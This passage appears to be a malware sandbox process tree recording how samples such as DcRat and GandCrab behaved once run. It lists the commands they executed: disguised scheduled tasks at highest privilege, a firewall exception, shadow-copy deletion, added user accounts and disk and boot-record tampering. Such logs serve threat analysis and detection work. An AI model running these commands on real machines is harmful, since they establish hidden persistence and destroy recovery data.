      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
      4⤵
      DcRat
      PID:2068
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:2316
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4064
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
    3⤵
    PID:3680
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3128
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:3664
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      DcRat
      PID:860
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
    3⤵
    PID:2888
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
      4⤵
      DcRat
      PID:1948
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:3868
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      DcRat
      PID:4032
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
    3⤵
    PID:2020
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2320
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:2200
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      DcRat
      Scheduled Task/Job: Scheduled Task
      PID:3956
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
    3⤵
    PID:2432
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
      4⤵
      PID:568
- - C:\Windows\system32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:2220
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      PID:3152
- C:\Program Files (x86)\Darkest Dungeon setub.exe
  "C:\Program Files (x86)\Darkest Dungeon setub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1604
- - C:\Users\Admin\AppData\Roaming\svhost.exe
    "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:3416
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:1428
- C:\Program Files (x86)\evil.exe
  "C:\Program Files (x86)\evil.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1532
- - C:\Users\Admin\AppData\Local\Temp\evil.exe
    "C:\Users\Admin\AppData\Local\Temp\evil.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3332
- C:\Program Files (x86)\fwclt.exe
  "C:\Program Files (x86)\fwclt.exe"
  2⤵
  - Executes dropped EXE
  PID:868
- C:\Program Files (x86)\Gandcrab5.0.3.exe
  "C:\Program Files (x86)\Gandcrab5.0.3.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3012
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\System32\wermgr.exe"
    3⤵
    - Drops startup file
    - Enumerates connected drives
    - Sets desktop wallpaper using registry
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:2660
  - - C:\Windows\SysWOW64\wbem\wmic.exe
      "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3276
- C:\Program Files (x86)\Happy18.exe
  "C:\Program Files (x86)\Happy18.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:2328
- C:\Program Files (x86)\kosomk.exe
  "C:\Program Files (x86)\kosomk.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2260
- - C:\Users\Admin\AppData\Roaming\dicsord.exe
    "C:\Users\Admin\AppData\Roaming\dicsord.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1996
- C:\Program Files (x86)\LightNeuronX0.exe
  "C:\Program Files (x86)\LightNeuronX0.exe"
  2⤵
  - Executes dropped EXE
  PID:1916
- C:\Program Files (x86)\malecus.exe
  "C:\Program Files (x86)\malecus.exe"
  2⤵
  - Executes dropped EXE
  - Writes to the Master Boot Record (MBR)
  PID:2684
- C:\Program Files (x86)\see7.exe
  "C:\Program Files (x86)\see7.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2668
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    - Executes dropped EXE
    PID:3092
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    - Executes dropped EXE
    PID:3652
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    - Executes dropped EXE
    PID:3464
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    - Executes dropped EXE
    PID:2244
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    - Executes dropped EXE
    PID:1104
- C:\Program Files (x86)\TEST.exe
  "C:\Program Files (x86)\TEST.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  PID:2956
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpA535.tmp.bat""
    3⤵
    - Loads dropped DLL
    PID:112
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2624
  - - C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe
      "C:\Users\Admin\AppData\Roaming\DriverrHub\Microsoft To Do.exe"
      4⤵
      Executes dropped EXE
      PID:2832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Program Files (x86)\touhou virus.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1516
- - C:\Windows\SysWOW64\net.exe
    net user Shanghai /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3892
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Shanghai /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:1140
- - C:\Windows\SysWOW64\net.exe
    net user Bad Apple /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2968
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Bad Apple /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:3876
- - C:\Windows\SysWOW64\net.exe
    net user Marisa
    3⤵
    - System Location Discovery: System Language Discovery
    PID:600
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Marisa
      4⤵
      System Location Discovery: System Language Discovery
      PID:3976
- - C:\Windows\SysWOW64\net.exe
    net user Reimu /add
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2292
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Reimu /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:4028
- - C:\Windows\SysWOW64\mountvol.exe
    mountvol X:\ /d
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    PID:2060
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://www.youtube.com/watch?v=PTt19B5_V3I
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2676
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2676 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      PID:2236
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://www.youtube.com/watch?v=tpedaZ0_yyQ
    3⤵
    - Modifies Internet Explorer settings
    PID:2624
- - C:\Windows\SysWOW64\diskpart.exe
    diskpart
    3⤵
    PID:2240
- - C:\Windows\SysWOW64\explorer.exe
    explorer
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3680
- C:\Program Files (x86)\vbc.exe
  "C:\Program Files (x86)\vbc.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2912
- - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
    C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:3736
  - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
      C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
      4⤵
      Executes dropped EXE
      Accesses Microsoft Outlook profiles
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:3820
- C:\Program Files (x86)\virus.jk.exe
  "C:\Program Files (x86)\virus.jk.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:960

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2368
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 8 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\57ccb6f0bd910fed428761828ae93553.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2556
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\spoolsv.exe'" /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2568
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2580
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\spoolsv.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2584
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 5 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2088
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\spoolsv.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2224
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Microsoft Help\57ccb6f0bd910fed428761828ae93553.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:2252
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\csrss.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:2152
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft Help\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1256
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\csrss.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2116
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\csrss.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1068
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Microsoft Help\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  PID:1796
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:1660
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c27" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1768
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  PID:1108
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1140
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\smss.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2080
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c27" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1400
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "CatC" /sc MINUTE /mo 8 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\Cat.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2100
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "Cat" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\Cat.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:1704
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\WmiPrvSE.exe'" /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:992
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "CatC" /sc MINUTE /mo 14 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\Cat.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:908
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Admin\WmiPrvSE.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  PID:668
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\WmiPrvSE.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2024
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 12 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:2016
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1504
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Windows\Resources\dwm.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2212
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 5 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  PID:1908
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Windows\Resources\dwm.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2744
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 13 /tr "'C:\Program Files\Uninstall Information\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1620
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Windows\Resources\dwm.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  PID:876
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 7 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:2560
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b6" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  PID:2380
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 13 /tr "'C:\Program Files\Uninstall Information\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2960
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2092
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\sppsvc.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2060
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 10 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2120
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\MSOCache\All Users\sppsvc.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1336
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\57ccb6f0bd910fed428761828ae93553.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2596
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\sppsvc.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2208
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:1960
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f7" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Videos\Sample Videos\7f1630df6b57af024a3b561bdadc208f.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:780
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2032
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f" /sc ONLOGON /tr "'C:\Users\Public\Videos\Sample Videos\7f1630df6b57af024a3b561bdadc208f.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:760
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\Packages\WmiPrvSE.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:1756
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f7" /sc MINUTE /mo 6 /tr "'C:\Users\Public\Videos\Sample Videos\7f1630df6b57af024a3b561bdadc208f.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  PID:2756
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\Packages\WmiPrvSE.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1332
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "CatC" /sc MINUTE /mo 6 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\Cat.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:320
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\Packages\WmiPrvSE.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2828
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "Cat" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\Cat.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
